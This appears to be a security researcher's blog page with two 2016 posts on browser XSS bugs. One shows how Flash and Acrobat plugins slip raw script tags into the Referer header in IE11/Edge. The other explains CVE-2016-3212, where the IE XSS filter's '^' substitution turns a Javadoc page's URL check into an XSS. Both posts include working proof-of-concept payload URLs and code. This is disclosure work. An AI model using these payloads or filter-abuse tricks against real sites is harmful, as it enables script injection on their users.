Showing posts with label Edge. Show all posts
Showing posts with label Edge. Show all posts

Thursday, October 6, 2016

XSS via Referrer After Anniversary Update

Since the Windows 10 anniversary update, it seems that Microsoft killed some XSS tricks on IE11/Edge. The referrer behavior is one of them.

The following page writes the HTTP_REFERER and document.referrer directly:
https://vulnerabledoma.in/xss_referrer

Previously IE/Edge did not encode the "<> characters in the referrer string. So, we could XSS on that page from the following PoC:
https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script>

But since the Windows 10 anniversary update, IE11/Edge encodes it. You will get the following encoded string from that page:
HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
Too bad!
Of course, we can still use Win8.1/7 IE11. But also we want to XSS on Win10, don't you? :D

Today, I would like to introduce a small technique, XSS using the referrer on latest Win10 Edge/IE11.

The technique is very simple. You can easily include "<> string into the referrer if you send the request from Flash's navigateToURL() method, like this:

https://l0.cm/xss_referrer.swf?<script>alert(1)</script>

The ActionScript code is here:
package {
 import flash.display.Sprite;
 import flash.net.URLRequest;
 import flash.net.navigateToURL;
 public class xss_referrer extends Sprite{
  public function xss_referrer() {
   var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
   navigateToURL(url, "_self");
  }
 }
}
As you can see the access result, we can XSS via the Referer request header. But sadly, we cannot XSS via the document.referrer property because it becomes empty. Dang :p

FYI, also I can reproduce it via the submitForm() method of JavaScript for Acrobat API.

I confirmed it on Win10 IE11 with Adobe Reader plugin.

PoC is here:
https://l0.cm/xss_referrer.pdf?<script>alert(1)</script>

It seems that the request via plugins is not considered.

That's it. It might be helpful in some cases :)
Thanks!

Friday, July 15, 2016

Abusing XSS Filter: One ^ leads to XSS(CVE-2016-3212)

In the past, I talked about XSS attacks exploiting IE XSS filter in CODE BLUE, which is an information security conference in Japan. A similar bug is fixed in June patch as CVE-2016-3212.
So, in this post, I would like to explain details of this bug.

As described in my slides, applying the XSS filter rules to an irrelevant context, we can do XSS attacks using the filter behavior replacing the . with the # even if the page does not have an XSS bug.




To prevent such attacks, Microsoft changed the filter behavior by December 2015 patch. After this patch, the ^ is used as the replacement character of the . instead of the #. Indeed, this can prevent attacks above. But it brought another nightmare. After several months, I confirmed an XSS using this behavior in Google's domain, and I got $3133.7 as rewards through Google VRP.

Google sets X-XSS-Protection: 1;mode=block header in almost their services. But not all. So, I checked carefully some pages which have no mode=block. As a result, I discovered that the vulnerable page exists in Javadoc on cloud.google.com.

I put the approximate copy:

http://vulnerabledoma.in/xxn/xss_javadoc.html

This page becomes vulnerable to XSS when one . is replaced with the ^ by the XSS filter.
Can you find where it is?

The answer is the . of the yellow part:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<title>javadoc</title>
<script type="text/javascript">
    targetPage = "" + window.location.search;
    if (targetPage != "" && targetPage != "undefined")
targetPage = targetPage.substring(1);
if (targetPage.indexOf(":") != -1 || (targetPage != "" && !validURL(targetPage)))
        targetPage = "undefined";
    function validURL(url) {
        try {
            url = decodeURIComponent(url);
        }
        catch (error) {
            return false;
        }
        var pos = url.indexOf(".html");
        if (pos == -1 || pos != url.length - 5)
            return false;
        var allowNumber = false;
        var allowSep = false;
        var seenDot = false;
        for (var i = 0; i < url.length - 5; i++) {
            var ch = url.charAt(i);
            if ('a' <= ch && ch <= 'z' ||
                    'A' <= ch && ch <= 'Z' ||
                    ch == '$' ||
                    ch == '_' ||
                    ch.charCodeAt(0) > 127) {
                allowNumber = true;
                allowSep = true;
            } else if ('0' <= ch && ch <= '9'
                    || ch == '-') {
                if (!allowNumber)
                     return false;
            } else if (ch == '/' || ch == '.') {
                if (!allowSep)
                    return false;
                allowNumber = false;
                allowSep = false;
                if (ch == '.')
                     seenDot = true;
                if (ch == '/' && seenDot)
                     return false;
            } else {
                return false;
            }
        }
        return true;
    }
    function loadFrames() {
        if (targetPage != "" && targetPage != "undefined")
             top.classFrame.location = top.targetPage;
    }
</script>
</head>
<frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()">
<frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()">
<frame src="/" name="packageListFrame" title="All Packages">
<frame src="/" name="packageFrame" title="All classes and interfaces (except non-static nested types)">
</frameset>
<frame src="/" name="classFrame" title="Package, class and interface descriptions" scrolling="yes">
<noframes>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<h2>Frame Alert</h2>
<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p>
</noframes>
</frameset>
</html>
In the <script>, it checks whether the given string via location.search is safe.
For example, the following unsafe URL is blocked:

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)

Then, what will happen when the . of the yellow part is replaced with the ^?

Let's actually try it. If you put the following strings in the target URL, the page content is forcibly matched to XSS filter rules, and we can replace the aimed . with the ^:



You can reproduce this bug from the following URL using IE/Edge which does not have June 2016 patch:

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)//"++++++++++++.i+++=

Also I put the replaced page for you who already applied the patch. You can confirm same behavior:

http://vulnerabledoma.in/xxn/xss_javadoc2.html?javascript:alert(document.domain)

A crucial difference from # and ^, the # is not the operator in JavaScript, but the ^ is the operator. For example, if the a.b; is in the page and it is replaced with # and ^, a#b; is the syntax error but a^b; is valid syntax. It brings an XSS bug.




After June 2016 patch, when the XSS filter replaces the ., the mode=block behavior is enforced even if the page does not have X-XSS-Protection header.

I was surprised and disgusted when the ^ is displayed but anyway it has finally calmed down!

Also, in the recent patch(July 2016), it seems that Microsoft killed almost possibilities of XSS attacks exploiting XSS filter. I will write this details in next post :)

Thanks!